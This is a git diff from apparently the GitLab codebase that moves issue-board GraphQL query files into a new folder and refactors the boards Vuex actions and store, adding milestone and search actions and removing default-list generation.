diff --git a/app/assets/javascripts/boards/graphql/board_list_create.mutation.graphql b/app/assets/javascripts/boards/graphql/board_list_create.mutation.graphql
new file mode 100644
index 00000000000..f78a21baa7f
--- /dev/null
+++ b/app/assets/javascripts/boards/graphql/board_list_create.mutation.graphql
@@ -0,0 +1,24 @@
+#import "ee_else_ce/boards/graphql/board_list.fragment.graphql"
+
+mutation CreateBoardList(
+ $boardId: BoardID!
+ $backlog: Boolean
+ $labelId: LabelID
+ $milestoneId: MilestoneID
+ $assigneeId: UserID
+) {
+ boardListCreate(
+ input: {
+ boardId: $boardId
+ backlog: $backlog
+ labelId: $labelId
+ milestoneId: $milestoneId
+ assigneeId: $assigneeId
+ }
+ ) {
+ list {
+ ...BoardListFragment
+ }
+ errors
+ }
+}
diff --git a/app/assets/javascripts/boards/queries/board_list_destroy.mutation.graphql b/app/assets/javascripts/boards/graphql/board_list_destroy.mutation.graphql
index ef3fd36e980..ef3fd36e980 100644
--- a/app/assets/javascripts/boards/queries/board_list_destroy.mutation.graphql
+++ b/app/assets/javascripts/boards/graphql/board_list_destroy.mutation.graphql
diff --git a/app/assets/javascripts/boards/queries/board_list_shared.fragment.graphql b/app/assets/javascripts/boards/graphql/board_list_shared.fragment.graphql
index d85b736720b..d85b736720b 100644
--- a/app/assets/javascripts/boards/queries/board_list_shared.fragment.graphql
+++ b/app/assets/javascripts/boards/graphql/board_list_shared.fragment.graphql
diff --git a/app/assets/javascripts/boards/queries/board_list_update.mutation.graphql b/app/assets/javascripts/boards/graphql/board_list_update.mutation.graphql
index b474c9acb93..b474c9acb93 100644
--- a/app/assets/javascripts/boards/queries/board_list_update.mutation.graphql
+++ b/app/assets/javascripts/boards/graphql/board_list_update.mutation.graphql
diff --git a/app/assets/javascripts/boards/graphql/board_lists.query.graphql b/app/assets/javascripts/boards/graphql/board_lists.query.graphql
new file mode 100644
index 00000000000..eb922f162f8
--- /dev/null
+++ b/app/assets/javascripts/boards/graphql/board_lists.query.graphql
@@ -0,0 +1,28 @@
+#import "ee_else_ce/boards/graphql/board_list.fragment.graphql"
+
+query ListIssues(
+ $fullPath: ID!
+ $boardId: ID!
+ $filters: BoardIssueInput
+ $isGroup: Boolean = false
+ $isProject: Boolean = false
+) {
+ group(fullPath: $fullPath) @include(if: $isGroup) {
+ board(id: $boardId) {
+ lists(issueFilters: $filters) {
+ nodes {
+ ...BoardListFragment
+ }
+ }
+ }
+ }
+ project(fullPath: $fullPath) @include(if: $isProject) {
+ board(id: $boardId) {
+ lists(issueFilters: $filters) {
+ nodes {
+ ...BoardListFragment
+ }
+ }
+ }
+ }
+}
diff --git a/app/assets/javascripts/boards/graphql/group_boards.query.graphql b/app/assets/javascripts/boards/graphql/group_boards.query.graphql
new file mode 100644
index 00000000000..feafd6ae10d
--- /dev/null
+++ b/app/assets/javascripts/boards/graphql/group_boards.query.graphql
@@ -0,0 +1,13 @@
+#import "ee_else_ce/boards/graphql/board.fragment.graphql"
+
+query group_boards($fullPath: ID!) {
+ group(fullPath: $fullPath) {
+ boards {
+ edges {
+ node {
+ ...BoardFragment
+ }
+ }
+ }
+ }
+}
diff --git a/app/assets/javascripts/boards/graphql/group_milestones.query.graphql b/app/assets/javascripts/boards/graphql/group_milestones.query.graphql
new file mode 100644
index 00000000000..f2ab12ef4a7
--- /dev/null
+++ b/app/assets/javascripts/boards/graphql/group_milestones.query.graphql
@@ -0,0 +1,17 @@
+query groupMilestones(
+ $fullPath: ID!
+ $state: MilestoneStateEnum
+ $includeDescendants: Boolean
+ $searchTitle: String
+) {
+ group(fullPath: $fullPath) {
+ milestones(state: $state, includeDescendants: $includeDescendants, searchTitle: $searchTitle) {
+ edges {
+ node {
+ id
+ title
+ }
+ }
+ }
+ }
+}
diff --git a/app/assets/javascripts/boards/graphql/issue.fragment.graphql b/app/assets/javascripts/boards/graphql/issue.fragment.graphql
new file mode 100644
index 00000000000..1395bef39ed
--- /dev/null
+++ b/app/assets/javascripts/boards/graphql/issue.fragment.graphql
@@ -0,0 +1,31 @@
+#import "~/graphql_shared/fragments/user.fragment.graphql"
+
+fragment IssueNode on Issue {
+ id
+ iid
+ title
+ referencePath: reference(full: true)
+ dueDate
+ timeEstimate
+ confidential
+ webUrl
+ subscribed
+ relativePosition
+ milestone {
+ id
+ title
+ }
+ assignees {
+ nodes {
+ ...User
+ }
+ }
+ labels {
+ nodes {
+ id
+ title
+ color
+ description
+ }
+ }
+}
diff --git a/app/assets/javascripts/boards/graphql/issue_create.mutation.graphql b/app/assets/javascripts/boards/graphql/issue_create.mutation.graphql
new file mode 100644
index 00000000000..c1a2361a4e8
--- /dev/null
+++ b/app/assets/javascripts/boards/graphql/issue_create.mutation.graphql
@@ -0,0 +1,10 @@
+#import "ee_else_ce/boards/graphql/issue.fragment.graphql"
+
+mutation CreateIssue($input: CreateIssueInput!) {
+ createIssue(input: $input) {
+ issue {
+ ...IssueNode
+ }
+ errors
+ }
+}
diff --git a/app/assets/javascripts/boards/graphql/issue_move_list.mutation.graphql b/app/assets/javascripts/boards/graphql/issue_move_list.mutation.graphql
new file mode 100644
index 00000000000..3c574fd8c87
--- /dev/null
+++ b/app/assets/javascripts/boards/graphql/issue_move_list.mutation.graphql
@@ -0,0 +1,28 @@
+#import "ee_else_ce/boards/graphql/issue.fragment.graphql"
+
+mutation IssueMoveList(
+ $projectPath: ID!
+ $iid: String!
+ $boardId: ID!
+ $fromListId: ID
+ $toListId: ID
+ $moveBeforeId: ID
+ $moveAfterId: ID
+) {
+ issueMoveList(
+ input: {
+ projectPath: $projectPath
+ iid: $iid
+ boardId: $boardId
+ fromListId: $fromListId
+ toListId: $toListId
+ moveBeforeId: $moveBeforeId
+ moveAfterId: $moveAfterId
+ }
+ ) {
+ issue {
+ ...IssueNode
+ }
+ errors
+ }
+}
diff --git a/app/assets/javascripts/boards/queries/issue_set_due_date.mutation.graphql b/app/assets/javascripts/boards/graphql/issue_set_due_date.mutation.graphql
index bbea248cf85..bbea248cf85 100644
--- a/app/assets/javascripts/boards/queries/issue_set_due_date.mutation.graphql
+++ b/app/assets/javascripts/boards/graphql/issue_set_due_date.mutation.graphql
diff --git a/app/assets/javascripts/boards/queries/issue_set_labels.mutation.graphql b/app/assets/javascripts/boards/graphql/issue_set_labels.mutation.graphql
index 3c5f4b3e3bd..3c5f4b3e3bd 100644
--- a/app/assets/javascripts/boards/queries/issue_set_labels.mutation.graphql
+++ b/app/assets/javascripts/boards/graphql/issue_set_labels.mutation.graphql
diff --git a/app/assets/javascripts/boards/graphql/issue_set_milestone.mutation.graphql b/app/assets/javascripts/boards/graphql/issue_set_milestone.mutation.graphql
new file mode 100644
index 00000000000..5dc78a03a06
--- /dev/null
+++ b/app/assets/javascripts/boards/graphql/issue_set_milestone.mutation.graphql
@@ -0,0 +1,12 @@
+mutation issueSetMilestone($input: UpdateIssueInput!) {
+ updateIssue(input: $input) {
+ issue {
+ milestone {
+ id
+ title
+ description
+ }
+ }
+ errors
+ }
+}
diff --git a/app/assets/javascripts/boards/graphql/mutations/issue_set_subscription.mutation.graphql b/app/assets/javascripts/boards/graphql/issue_set_subscription.mutation.graphql
index 1f383245ac2..1f383245ac2 100644
--- a/app/assets/javascripts/boards/graphql/mutations/issue_set_subscription.mutation.graphql
+++ b/app/assets/javascripts/boards/graphql/issue_set_subscription.mutation.graphql
diff --git a/app/assets/javascripts/boards/graphql/lists_issues.query.graphql b/app/assets/javascripts/boards/graphql/lists_issues.query.graphql
new file mode 100644
index 00000000000..43af7d2b2f1
--- /dev/null
+++ b/app/assets/javascripts/boards/graphql/lists_issues.query.graphql
@@ -0,0 +1,55 @@
+#import "ee_else_ce/boards/graphql/issue.fragment.graphql"
+
+query ListIssues(
+ $fullPath: ID!
+ $boardId: ID!
+ $id: ID
+ $filters: BoardIssueInput
+ $isGroup: Boolean = false
+ $isProject: Boolean = false
+ $after: String
+ $first: Int
+) {
+ group(fullPath: $fullPath) @include(if: $isGroup) {
+ board(id: $boardId) {
+ lists(id: $id) {
+ nodes {
+ id
+ issues(first: $first, filters: $filters, after: $after) {
+ count
+ edges {
+ node {
+ ...IssueNode
+ }
+ }
+ pageInfo {
+ endCursor
+ hasNextPage
+ }
+ }
+ }
+ }
+ }
+ }
+ project(fullPath: $fullPath) @include(if: $isProject) {
+ board(id: $boardId) {
+ lists(id: $id) {
+ nodes {
+ id
+ issues(first: $first, filters: $filters, after: $after) {
+ count
+ edges {
+ node {
+ ...IssueNode
+ }
+ }
+ pageInfo {
+ endCursor
+ hasNextPage
+ }
+ }
+ }
+ }
+ }
+ }
+}
diff --git a/app/assets/javascripts/boards/graphql/project_boards.query.graphql b/app/assets/javascripts/boards/graphql/project_boards.query.graphql
new file mode 100644
index 00000000000..f98d25ba671
--- /dev/null
+++ b/app/assets/javascripts/boards/graphql/project_boards.query.graphql
@@ -0,0 +1,13 @@
+#import "ee_else_ce/boards/graphql/board.fragment.graphql"
+
+query project_boards($fullPath: ID!) {
+ project(fullPath: $fullPath) {
+ boards {
+ edges {
+ node {
+ ...BoardFragment
+ }
+ }
+ }
+ }
+}
diff --git a/app/assets/javascripts/boards/queries/users_search.query.graphql b/app/assets/javascripts/boards/graphql/users_search.query.graphql
index ca016495d79..ca016495d79 100644
--- a/app/assets/javascripts/boards/queries/users_search.query.graphql
+++ b/app/assets/javascripts/boards/graphql/users_search.query.graphql
diff --git a/app/assets/javascripts/boards/index.js b/app/assets/javascripts/boards/index.js
index d3e40299d8d..64a4f246735 100644
--- a/app/assets/javascripts/boards/index.js
+++ b/app/assets/javascripts/boards/index.js
@@ -1,5 +1,5 @@
import Vue from 'vue';
-import { mapActions, mapGetters, mapState } from 'vuex';
+import { mapActions, mapGetters } from 'vuex';
import 'ee_else_ce/boards/models/issue';
import 'ee_else_ce/boards/models/list';
@@ -9,7 +9,6 @@ import boardConfigToggle from 'ee_else_ce/boards/config_toggle';
import toggleLabels from 'ee_else_ce/boards/toggle_labels';
import toggleEpicsSwimlanes from 'ee_else_ce/boards/toggle_epics_swimlanes';
import {
- setPromotionState,
setWeightFetchingState,
setEpicFetchingState,
getMilestoneTitle,
@@ -41,7 +40,6 @@ import {
NavigationType,
convertObjectPropsToCamelCase,
parseBoolean,
- urlParamsToObject,
} from '~/lib/utils/common_utils';
import mountMultipleBoardsSwitcher from './mount_multiple_boards_switcher';
@@ -77,7 +75,6 @@ export default () => {
el: $boardApp,
components: {
BoardContent,
- Board: () => import('ee_else_ce/boards/components/board_column.vue'),
BoardSidebar,
BoardAddIssuesModal,
BoardSettingsSidebar: () => import('~/boards/components/board_settings_sidebar.vue'),
@@ -114,7 +111,6 @@ export default () => {
};
},
computed: {
- ...mapState(['isShowingEpicsSwimlanes']),
...mapGetters(['shouldUseGraphQL']),
detailIssueVisible() {
return Object.keys(this.detailIssue.issue).length;
@@ -133,7 +129,17 @@ export default () => {
...endpoints,
boardType: this.parent,
disabled: this.disabled,
- showPromotion: parseBoolean($boardApp.getAttribute('data-show-promotion')),
+ boardConfig: {
+ milestoneId: parseInt($boardApp.dataset.boardMilestoneId, 10),
+ milestoneTitle: $boardApp.dataset.boardMilestoneTitle || '',
+ iterationId: parseInt($boardApp.dataset.boardIterationId, 10),
+ iterationTitle: $boardApp.dataset.boardIterationTitle || '',
+ assigneeUsername: $boardApp.dataset.boardAssigneeUsername,
+ labels: $boardApp.dataset.labels ? JSON.parse($boardApp.dataset.labels || []) : [],
+ weight: $boardApp.dataset.boardWeight
+ ? parseInt($boardApp.dataset.boardWeight, 10)
+ : null,
+ },
});
boardsStore.setEndpoints(endpoints);
boardsStore.rootPath = this.boardsEndpoint;
@@ -142,7 +148,6 @@ export default () => {
eventHub.$on('newDetailIssue', this.updateDetailIssue);
eventHub.$on('clearDetailIssue', this.clearDetailIssue);
sidebarEventHub.$on('toggleSubscription', this.toggleSubscription);
- eventHub.$on('performSearch', this.performSearch);
eventHub.$on('initialBoardLoad', this.initialBoardLoad);
},
beforeDestroy() {
@@ -150,7 +155,6 @@ export default () => {
eventHub.$off('newDetailIssue', this.updateDetailIssue);
eventHub.$off('clearDetailIssue', this.clearDetailIssue);
sidebarEventHub.$off('toggleSubscription', this.toggleSubscription);
- eventHub.$off('performSearch', this.performSearch);
eventHub.$off('initialBoardLoad', this.initialBoardLoad);
},
mounted() {
@@ -166,22 +170,13 @@ export default () => {
}
},
methods: {
- ...mapActions([
- 'setInitialBoardData',
- 'setFilters',
- 'fetchEpicsSwimlanes',
- 'resetIssues',
- 'resetEpics',
- 'fetchLists',
- ]),
+ ...mapActions(['setInitialBoardData', 'performSearch']),
initialBoardLoad() {
boardsStore
.all()
.then(res => res.data)
.then(lists => {
lists.forEach(list => boardsStore.addList(list));
- boardsStore.addBlankState();
- setPromotionState(boardsStore);
this.loading = false;
})
.catch(() => {
@@ -191,17 +186,6 @@ export default () => {
updateTokens() {
this.filterManager.updateTokens();
},
- performSearch() {
- this.setFilters(convertObjectPropsToCamelCase(urlParamsToObject(window.location.search)));
- if (gon.features.boardsWithSwimlanes && this.isShowingEpicsSwimlanes) {
- this.resetEpics();
- this.resetIssues();
- this.fetchEpicsSwimlanes({});
- } else if (gon.features.graphqlBoardLists && !this.isShowingEpicsSwimlanes) {
- this.fetchLists();
- this.resetIssues();
- }
- },
updateDetailIssue(newIssue, multiSelect = false) {
const { sidebarInfoEndpoint } = newIssue;
if (sidebarInfoEndpoint && newIssue.subscribed === undefined) {
@@ -303,7 +287,7 @@ export default () => {
const issueBoardsModal = document.getElementById('js-add-issues-btn');
- if (issueBoardsModal) {
+ if (issueBoardsModal && gon.features.addIssuesButton) {
// eslint-disable-next-line no-new
new Vue({
el: issueBoardsModal,
@@ -350,5 +334,8 @@ export default () => {
toggleEpicsSwimlanes();
}
- mountMultipleBoardsSwitcher();
+ mountMultipleBoardsSwitcher({
+ boardsEndpoint: $boardApp.dataset.boardsEndpoint,
+ recentBoardsEndpoint: $boardApp.dataset.recentBoardsEndpoint,
+ });
};
diff --git a/app/assets/javascripts/boards/mount_multiple_boards_switcher.js b/app/assets/javascripts/boards/mount_multiple_boards_switcher.js
index 51bb72b7657..df65ebb7526 100644
--- a/app/assets/javascripts/boards/mount_multiple_boards_switcher.js
+++ b/app/assets/javascripts/boards/mount_multiple_boards_switcher.js
@@ -10,7 +10,7 @@ const apolloProvider = new VueApollo({
defaultClient: createDefaultClient(),
});
-export default () => {
+export default (endpoints = {}) => {
const boardsSwitcherElement = document.getElementById('js-multiple-boards-switcher');
return new Vue({
el: boardsSwitcherElement,
@@ -35,6 +35,9 @@ export default () => {
return { boardsSelectorProps };
},
+ provide: {
+ endpoints,
+ },
render(createElement) {
return createElement(BoardsSelector, {
props: this.boardsSelectorProps,
diff --git a/app/assets/javascripts/boards/queries/board_list_create.mutation.graphql b/app/assets/javascripts/boards/queries/board_list_create.mutation.graphql
deleted file mode 100644
index 48420b349ae..00000000000
--- a/app/assets/javascripts/boards/queries/board_list_create.mutation.graphql
+++ /dev/null
@@ -1,24 +0,0 @@
-#import "ee_else_ce/boards/queries/board_list.fragment.graphql"
-
-mutation CreateBoardList(
- $boardId: BoardID!
- $backlog: Boolean
- $labelId: LabelID
- $milestoneId: MilestoneID
- $assigneeId: UserID
-) {
- boardListCreate(
- input: {
- boardId: $boardId
- backlog: $backlog
- labelId: $labelId
- milestoneId: $milestoneId
- assigneeId: $assigneeId
- }
- ) {
- list {
- ...BoardListFragment
- }
- errors
- }
-}
diff --git a/app/assets/javascripts/boards/queries/board_lists.query.graphql b/app/assets/javascripts/boards/queries/board_lists.query.graphql
deleted file mode 100644
index 88425e9a9c1..00000000000
--- a/app/assets/javascripts/boards/queries/board_lists.query.graphql
+++ /dev/null
@@ -1,28 +0,0 @@
-#import "ee_else_ce/boards/queries/board_list.fragment.graphql"
-
-query ListIssues(
- $fullPath: ID!
- $boardId: ID!
- $filters: BoardIssueInput
- $isGroup: Boolean = false
- $isProject: Boolean = false
-) {
- group(fullPath: $fullPath) @include(if: $isGroup) {
- board(id: $boardId) {
- lists(issueFilters: $filters) {
- nodes {
- ...BoardListFragment
- }
- }
- }
- }
- project(fullPath: $fullPath) @include(if: $isProject) {
- board(id: $boardId) {
- lists(issueFilters: $filters) {
- nodes {
- ...BoardListFragment
- }
- }
- }
- }
-}
diff --git a/app/assets/javascripts/boards/queries/group_boards.query.graphql b/app/assets/javascripts/boards/queries/group_boards.query.graphql
deleted file mode 100644
index 74c224add7d..00000000000
--- a/app/assets/javascripts/boards/queries/group_boards.query.graphql
+++ /dev/null
@@ -1,13 +0,0 @@
-#import "ee_else_ce/boards/queries/board.fragment.graphql"
-
-query group_boards($fullPath: ID!) {
- group(fullPath: $fullPath) {
- boards {
- edges {
- node {
- ...BoardFragment
- }
- }
- }
- }
-}
diff --git a/app/assets/javascripts/boards/queries/issue.fragment.graphql b/app/assets/javascripts/boards/queries/issue.fragment.graphql
deleted file mode 100644
index 4b429f875a6..00000000000
--- a/app/assets/javascripts/boards/queries/issue.fragment.graphql
+++ /dev/null
@@ -1,27 +0,0 @@
-#import "~/graphql_shared/fragments/user.fragment.graphql"
-
-fragment IssueNode on Issue {
- id
- iid
- title
- referencePath: reference(full: true)
- dueDate
- timeEstimate
- confidential
- webUrl
- subscribed
- relativePosition
- assignees {
- nodes {
- ...User
- }
- }
- labels {
- nodes {
- id
- title
- color
- description
- }
- }
-}
diff --git a/app/assets/javascripts/boards/queries/issue_create.mutation.graphql b/app/assets/javascripts/boards/queries/issue_create.mutation.graphql
deleted file mode 100644
index 65be147be07..00000000000
--- a/app/assets/javascripts/boards/queries/issue_create.mutation.graphql
+++ /dev/null
@@ -1,10 +0,0 @@
-#import "ee_else_ce/boards/queries/issue.fragment.graphql"
-
-mutation CreateIssue($input: CreateIssueInput!) {
- createIssue(input: $input) {
- issue {
- ...IssueNode
- }
- errors
- }
-}
diff --git a/app/assets/javascripts/boards/queries/issue_move_list.mutation.graphql b/app/assets/javascripts/boards/queries/issue_move_list.mutation.graphql
deleted file mode 100644
index ff6aa597f48..00000000000
--- a/app/assets/javascripts/boards/queries/issue_move_list.mutation.graphql
+++ /dev/null
@@ -1,28 +0,0 @@
-#import "ee_else_ce/boards/queries/issue.fragment.graphql"
-
-mutation IssueMoveList(
- $projectPath: ID!
- $iid: String!
- $boardId: ID!
- $fromListId: ID
- $toListId: ID
- $moveBeforeId: ID
- $moveAfterId: ID
-) {
- issueMoveList(
- input: {
- projectPath: $projectPath
- iid: $iid
- boardId: $boardId
- fromListId: $fromListId
- toListId: $toListId
- moveBeforeId: $moveBeforeId
- moveAfterId: $moveAfterId
- }
- ) {
- issue {
- ...IssueNode
- }
- errors
- }
-}
diff --git a/app/assets/javascripts/boards/queries/lists_issues.query.graphql b/app/assets/javascripts/boards/queries/lists_issues.query.graphql
deleted file mode 100644
index 5dbfe4675c6..00000000000
--- a/app/assets/javascripts/boards/queries/lists_issues.query.graphql
+++ /dev/null
@@ -1,55 +0,0 @@
-#import "ee_else_ce/boards/queries/issue.fragment.graphql"
-
-query ListIssues(
- $fullPath: ID!
- $boardId: ID!
- $id: ID
- $filters: BoardIssueInput
- $isGroup: Boolean = false
- $isProject: Boolean = false
- $after: String
- $first: Int
-) {
- group(fullPath: $fullPath) @include(if: $isGroup) {
- board(id: $boardId) {
- lists(id: $id) {
- nodes {
- id
- issues(first: $first, filters: $filters, after: $after) {
- count
- edges {
- node {
- ...IssueNode
- }
- }
- pageInfo {
- endCursor
- hasNextPage
- }
- }
- }
- }
- }
- }
- project(fullPath: $fullPath) @include(if: $isProject) {
- board(id: $boardId) {
- lists(id: $id) {
- nodes {
- id
- issues(first: $first, filters: $filters, after: $after) {
- count
- edges {
- node {
- ...IssueNode
- }
- }
- pageInfo {
- endCursor
- hasNextPage
- }
- }
- }
- }
- }
- }
-}
diff --git a/app/assets/javascripts/boards/queries/project_boards.query.graphql b/app/assets/javascripts/boards/queries/project_boards.query.graphql
deleted file mode 100644
index a1326bd5eff..00000000000
--- a/app/assets/javascripts/boards/queries/project_boards.query.graphql
+++ /dev/null
@@ -1,13 +0,0 @@
-#import "ee_else_ce/boards/queries/board.fragment.graphql"
-
-query project_boards($fullPath: ID!) {
- project(fullPath: $fullPath) {
- boards {
- edges {
- node {
- ...BoardFragment
- }
- }
- }
- }
-}
diff --git a/app/assets/javascripts/boards/stores/actions.js b/app/assets/javascripts/boards/stores/actions.js
index dd950a45076..59b97eba9fe 100644
--- a/app/assets/javascripts/boards/stores/actions.js
+++ b/app/assets/javascripts/boards/stores/actions.js
@@ -1,9 +1,10 @@
import { pick } from 'lodash';
-import boardListsQuery from 'ee_else_ce/boards/queries/board_lists.query.graphql';
+import boardListsQuery from 'ee_else_ce/boards/graphql/board_lists.query.graphql';
import createGqClient, { fetchPolicies } from '~/lib/graphql';
import { getIdFromGraphQLId } from '~/graphql_shared/utils';
-import { BoardType, ListType, inactiveId, DEFAULT_LABELS } from '~/boards/constants';
+import { convertObjectPropsToCamelCase, urlParamsToObject } from '~/lib/utils/common_utils';
+import { BoardType, ListType, inactiveId } from '~/boards/constants';
import * as types from './mutation_types';
import {
formatBoardLists,
@@ -12,19 +13,20 @@ import {
formatListsPageInfo,
formatIssue,
} from '../boards_util';
-import boardStore from '~/boards/stores/boards_store';
-
-import updateAssignees from '~/vue_shared/components/sidebar/queries/updateAssignees.mutation.graphql';
-import listsIssuesQuery from '../queries/lists_issues.query.graphql';
-import boardLabelsQuery from '../queries/board_labels.query.graphql';
-import createBoardListMutation from '../queries/board_list_create.mutation.graphql';
-import updateBoardListMutation from '../queries/board_list_update.mutation.graphql';
-import issueMoveListMutation from '../queries/issue_move_list.mutation.graphql';
-import destroyBoardListMutation from '../queries/board_list_destroy.mutation.graphql';
-import issueCreateMutation from '../queries/issue_create.mutation.graphql';
-import issueSetLabels from '../queries/issue_set_labels.mutation.graphql';
-import issueSetDueDate from '../queries/issue_set_due_date.mutation.graphql';
-import issueSetSubscriptionMutation from '../graphql/mutations/issue_set_subscription.mutation.graphql';
+import createFlash from '~/flash';
+import { __ } from '~/locale';
+import updateAssigneesMutation from '~/vue_shared/components/sidebar/queries/updateAssignees.mutation.graphql';
+import listsIssuesQuery from '../graphql/lists_issues.query.graphql';
+import boardLabelsQuery from '../graphql/board_labels.query.graphql';
+import createBoardListMutation from '../graphql/board_list_create.mutation.graphql';
+import updateBoardListMutation from '../graphql/board_list_update.mutation.graphql';
+import issueMoveListMutation from '../graphql/issue_move_list.mutation.graphql';
+import destroyBoardListMutation from '../graphql/board_list_destroy.mutation.graphql';
+import issueCreateMutation from '../graphql/issue_create.mutation.graphql';
+import issueSetLabelsMutation from '../graphql/issue_set_labels.mutation.graphql';
+import issueSetDueDateMutation from '../graphql/issue_set_due_date.mutation.graphql';
+import issueSetSubscriptionMutation from '../graphql/issue_set_subscription.mutation.graphql';
+import issueSetMilestoneMutation from '../graphql/issue_set_milestone.mutation.graphql';
const notImplemented = () => {
/* eslint-disable-next-line @gitlab/require-i18n-strings */
@@ -63,6 +65,18 @@ export default {
commit(types.SET_FILTERS, filterParams);
},
+ performSearch({ dispatch }) {
+ dispatch(
+ 'setFilters',
+ convertObjectPropsToCamelCase(urlParamsToObject(window.location.search)),
+ );
+
+ if (gon.features.graphqlBoardLists) {
+ dispatch('fetchLists');
+ dispatch('resetIssues');
+ }
+ },
+
fetchLists: ({ commit, state, dispatch }) => {
const { endpoints, boardType, filterParams } = state;
const { fullPath, boardId } = endpoints;
@@ -87,7 +101,6 @@ export default {
if (!lists.nodes.find(l => l.listType === ListType.backlog) && !hideBacklogList) {
dispatch('createList', { backlog: true });
}
- dispatch('generateDefaultLists');
})
.catch(() => commit(types.RECEIVE_BOARD_LISTS_FAILURE));
},
@@ -118,15 +131,9 @@ export default {
},
addList: ({ commit }, list) => {
- // Temporarily using positioning logic from boardStore
- commit(
- types.RECEIVE_ADD_LIST_SUCCESS,
- boardStore.updateListPosition({ ...list, doNotFetchIssues: true }),
- );
+ commit(types.RECEIVE_ADD_LIST_SUCCESS, list);
},
- showPromotionList: () => {},
-
fetchLabels: ({ state, commit }, searchTerm) => {
const { endpoints, boardType } = state;
const { fullPath } = endpoints;
@@ -150,35 +157,14 @@ export default {
.catch(() => commit(types.RECEIVE_LABELS_FAILURE));
},
- generateDefaultLists: async ({ state, commit, dispatch }) => {
- if (state.disabled) {
- return;
- }
- if (
- Object.entries(state.boardLists).find(
- ([, list]) => list.type !== ListType.backlog && list.type !== ListType.closed,
- )
- ) {
- return;
- }
-
- const fetchLabelsAndCreateList = label => {
- return dispatch('fetchLabels', label)
- .then(res => {
- if (res.length > 0) {
- dispatch('createList', { labelId: res[0].id });
- }
- })
- .catch(() => commit(types.GENERATE_DEFAULT_LISTS_FAILURE));
- };
-
- await Promise.all(DEFAULT_LABELS.map(fetchLabelsAndCreateList));
- },
-
moveList: (
{ state, commit, dispatch },
{ listId, replacedListId, newIndex, adjustmentValue },
) => {
+ if (listId === replacedListId) {
+ return;
+ }
+
const { boardLists } = state;
const backupList = { ...boardLists };
const movedList = boardLists[listId];
@@ -315,9 +301,11 @@ export default {
},
setAssignees: ({ commit, getters }, assigneeUsernames) => {
+ commit(types.SET_ASSIGNEE_LOADING, true);
+
return gqlClient
.mutate({
- mutation: updateAssignees,
+ mutation: updateAssigneesMutation,
variables: {
iid: getters.activeIssue.iid,
projectPath: getters.activeIssue.referencePath.split('#')[0],
@@ -325,14 +313,48 @@ export default {
},
})
.then(({ data }) => {
+ const { nodes } = data.issueSetAssignees?.issue?.assignees || [];
+
commit('UPDATE_ISSUE_BY_ID', {
issueId: getters.activeIssue.id,
prop: 'assignees',
- value: data.issueSetAssignees.issue.assignees.nodes,
+ value: nodes,
});
+
+ return nodes;
+ })
+ .catch(() => {
+ createFlash({ message: __('An error occurred while updating assignees.') });
+ })
+ .finally(() => {
+ commit(types.SET_ASSIGNEE_LOADING, false);
});
},
+ setActiveIssueMilestone: async ({ commit, getters }, input) => {
+ const { activeIssue } = getters;
+ const { data } = await gqlClient.mutate({
+ mutation: issueSetMilestoneMutation,
+ variables: {
+ input: {
+ iid: String(activeIssue.iid),
+ milestoneId: getIdFromGraphQLId(input.milestoneId),
+ projectPath: input.projectPath,
+ },
+ },
+ });
+
+ if (data.updateIssue.errors?.length > 0) {
+ throw new Error(data.updateIssue.errors);
+ }
+
+ commit(types.UPDATE_ISSUE_BY_ID, {
+ issueId: activeIssue.id,
+ prop: 'milestone',
+ value: data.updateIssue.issue.milestone,
+ });
+ },
+
createNewIssue: ({ commit, state }, issueInput) => {
const input = issueInput;
const { boardType, endpoints } = state;
@@ -378,7 +400,7 @@ export default {
setActiveIssueLabels: async ({ commit, getters }, input) => {
const { activeIssue } = getters;
const { data } = await gqlClient.mutate({
- mutation: issueSetLabels,
+ mutation: issueSetLabelsMutation,
variables: {
input: {
iid: String(activeIssue.iid),
@@ -403,7 +425,7 @@ export default {
setActiveIssueDueDate: async ({ commit, getters }, input) => {
const { activeIssue } = getters;
const { data } = await gqlClient.mutate({
- mutation: issueSetDueDate,
+ mutation: issueSetDueDateMutation,
variables: {
input: {
iid: String(activeIssue.iid),
diff --git a/app/assets/javascripts/boards/stores/boards_store.js b/app/assets/javascripts/boards/stores/boards_store.js
index 337b2897fe9..36702b6ca5f 100644
--- a/app/assets/javascripts/boards/stores/boards_store.js
+++ b/app/assets/javascripts/boards/stores/boards_store.js
@@ -1,9 +1,8 @@
/* eslint-disable no-shadow, no-param-reassign,consistent-return */
/* global List */
/* global ListIssue */
-import { sortBy, pick } from 'lodash';
+import { sortBy } from 'lodash';
import Vue from 'vue';
-import Cookies from 'js-cookie';
import BoardsStoreEE from 'ee_else_ce/boards/stores/boards_store_ee';
import {
urlParamsToObject,
@@ -22,8 +21,6 @@ import ListLabel from '../models/label';
import ListAssignee from '../models/assignee';
import ListMilestone from '../models/milestone';
-import createBoardMutation from '../queries/board.mutation.graphql';
-
const PER_PAGE = 20;
export const gqlClient = createDefaultClient();
@@ -125,20 +122,6 @@ const boardsStore = {
.querySelector(`.js-board-list-${getIdFromGraphQLId(listId)}`)
?.classList.remove('is-active');
},
- shouldAddBlankState() {
- // Decide whether to add the blank state
- return !this.state.lists.filter(list => list.type !== 'backlog' && list.type !== 'closed')[0];
- },
- addBlankState() {
- if (!this.shouldAddBlankState() || this.welcomeIsHidden()) return;
-
- this.generateDefaultLists()
- .then(res => res.data)
- .then(data => Promise.all(data.map(list => this.addList(list))))
- .catch(() => {
- this.removeList(undefined, 'label');
- });
- },
findIssueLabel(issue, findLabel) {
return issue.labels.find(label => label.id === findLabel.id);
@@ -202,9 +185,6 @@ const boardsStore = {
return list.issues.find(issue => issue.id === id);
},
- welcomeIsHidden() {
- return parseBoolean(Cookies.get('issue_board_welcome_hidden'));
- },
removeList(id, type = 'blank') {
const list = this.findList('id', id, type);
@@ -302,11 +282,7 @@ const boardsStore = {
onNewListIssueResponse(list, issue, data) {
issue.refreshData(data);
- if (
- !gon.features.boardsWithSwimlanes &&
- !gon.features.graphqlBoardLists &&
- list.issues.length > 1
- ) {
+ if (list.issues.length > 1) {
const moveBeforeId = list.issues[1].id;
this.moveIssue(issue.id, null, null, null, moveBeforeId);
}
@@ -516,10 +492,6 @@ const boardsStore = {
eventHub.$emit('updateTokens');
},
- performSearch() {
- eventHub.$emit('performSearch');
- },
-
setListDetail(newList) {
this.detail.list = newList;
},
@@ -566,10 +538,6 @@ const boardsStore = {
return axios.get(this.state.endpoints.listsEndpoint);
},
- generateDefaultLists() {
- return axios.post(this.state.endpoints.listsEndpointGenerate, {});
- },
-
createList(entityId, entityType) {
const list = {
[entityType]: entityId,
@@ -785,52 +753,6 @@ const boardsStore = {
